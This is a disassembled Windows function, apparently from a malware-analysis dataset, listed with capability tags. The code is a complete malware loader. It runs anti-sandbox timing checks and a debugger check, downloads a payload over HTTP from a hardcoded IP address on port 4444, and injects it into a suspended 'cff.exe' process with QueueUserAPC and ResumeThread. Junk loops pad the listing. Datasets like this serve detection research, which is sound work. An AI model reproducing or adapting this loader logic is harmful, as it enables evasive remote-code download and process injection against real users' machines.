Function at 0x140001530
Capabilities:
Connect to http server
Create http request
Create process on windows
Create process suspended
Link many functions at runtime
Read data from internet
Receive data
Resume thread
Send data
Send http request

Disassembly:
push rbp
push rbx
sub rsp, 0x208
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1a0], ecx
mov qword [rbp + 0x1a8], rdx
call dbg.__main
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x158], rax
cmp qword [rbp + 0x158], 0
je 0x140001db4
mov rax, qword [rbp + 0x158]
mov edx, 0x5e7
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x154], eax
mov dword [rbp + 0x150], 0x334
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x148], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x140]
call rax
mov dword [rbp + 0x13c], eax
mov eax, dword [rbp + 0x150]
mov r8, qword [rbp + 0x148]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x140]
call rax
mov dword [rbp + 0x138], eax
mov eax, dword [rbp + 0x138]
sub eax, dword [rbp + 0x13c]
cmp eax, 0x302
jbe 0x140001db4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x128], rax
cmp qword [rbp + 0x128], 0
jne 0x140001db4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov ecx, 0
call rax
mov dword [rbp + 0x11c], eax
cmp dword [rbp + 0x11c], 0xffffffff
je 0x140001db4
lea rax, str.ujpegkfqmaikvuph.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x110], rax
cmp qword [rbp + 0x110], 0
jne 0x140001db4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x108], rax
cmp qword [rbp + 0x108], 0
je 0x14000178b
mov rax, qword [rbp + 0x108]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x100]
mov ecx, 0
call rax
mov dword [rbp + 0x17c], eax
cmp dword [rbp + 0x17c], 0xffffffff
je 0x140001db4
mov dword [rbp + 0x64], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xf8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x64]
mov r8, qword [rbp + 0xf8]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x64]
cmp eax, 1
je 0x140001db4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0xf0], rax
cmp qword [rbp + 0xf0], 0
je 0x140001851
mov rax, qword [rbp + 0xf0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov ecx, 0
call rax
mov dword [rbp + 0x178], eax
cmp dword [rbp + 0x178], 0xffffffff
je 0x140001db4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xe0], rax
mov rax, qword [rbp + 0xe0]
call rax
mov dword [rbp + 0xdc], eax
mov ecx, 0x200
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0xe0]
call rax
mov dword [rbp + 0xd8], eax
mov eax, dword [rbp + 0xd8]
sub eax, dword [rbp + 0xdc]
cmp eax, 0x1ce
jbe 0x140001db4
mov dword [rbp + 0xd4], 0x3b9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
call rax
mov dword [rbp + 0xc4], eax
mov eax, dword [rbp + 0xd4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0xc8]
call rax
mov dword [rbp + 0xc0], eax
mov eax, dword [rbp + 0xc0]
sub eax, dword [rbp + 0xc4]
cmp eax, 0x387
jbe 0x140001db4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
je 0x140001db4
mov rax, qword [rbp + 0xb8]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x800000
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x115c
lea rdx, str.132.163.25.36
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0xb0], rax
cmp qword [rbp + 0xb0], 0
je 0x140001db4
mov rax, qword [rbp + 0xb0]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x84e03200
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.htwrFKskHWQXOZw_ZsafomshTmecEFM_bdkZRdK_BslE_ywBpmi_y_TpyVDFqUKriyowRokCXzqqOXqOkZXmnYldXEulicl_afGzkk_AGXKMgeYXGQM
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestA]
call rax
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
je 0x140001db4
mov dword [rbp + 0x60], 0x3380
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0xa8]
mov r9d, 4
mov r8, rdx
mov edx, 0x1f
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetSetOptionA]
call rax
mov dword [rbp + 0xa4], eax
mov r8d, 0
mov edx, 0x7a1200
mov ecx, 0x40000
mov rax, qword [sym.imp.KERNEL32.dll_HeapCreate]
call rax
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
mov r8d, 0x7a1200
mov edx, 8
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0xa8]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpSendRequestA]
call rax
mov dword [rbp + 0x8c], eax
cmp dword [rbp + 0x8c], 0
je 0x140001db4
lea rcx, [rbp + 0x5c]
mov rdx, qword [rbp + 0x170]
mov rax, qword [rbp + 0xa8]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov dword [rbp + 0x88], eax
mov eax, dword [rbp + 0x5c]
mov eax, eax
add qword [rbp + 0x170], rax
mov eax, dword [rbp + 0x5c]
test eax, eax
jne 0x140001b10
mov ecx, 0xe30
call sym.malloc
mov qword [rbp + 0x80], rax
mov ecx, 0xe30
call sym.malloc
mov qword [rbp + 0x78], rax
mov dword [rbp + 0x168], 0x38b
mov dword [rbp + 0x16c], 0
jmp 0x140001bd2
call sym.rand
mov edx, dword [rbp + 0x16c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x80]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x16c], 1
cmp dword [rbp + 0x16c], 0x38b
jle 0x140001b85
mov dword [rbp + 0x16c], 0
jmp 0x140001c2e
mov eax, dword [rbp + 0x168]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x80]
add rax, rdx
mov edx, dword [rbp + 0x16c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x78]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x168], 1
add dword [rbp + 0x16c], 1
cmp dword [rbp + 0x16c], 0x38b
jle 0x140001bea
mov rax, qword [rbp + 0x80]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x78]
mov rcx, rax
call sym.free
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x30], 0x68
lea rax, [rbp + 0x40]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x40]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.cff.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rdx, qword [rbp + 0x48]
mov rax, qword [rbp + 0x70]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov dword [rbp + 0x164], 0xffffffff
mov ecx, 0xe30
call sym.malloc
mov qword [rbp + 0x68], rax
add dword [rbp + 0x164], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x164]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x68]
add rax, rdx
movsd xmm1, qword [0x1400050f8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x164]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x68]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x164]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x68]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x164], 0x1c4
jle 0x140001d24
mov eax, 0
add rsp, 0x208
pop rbx
pop rbp
ret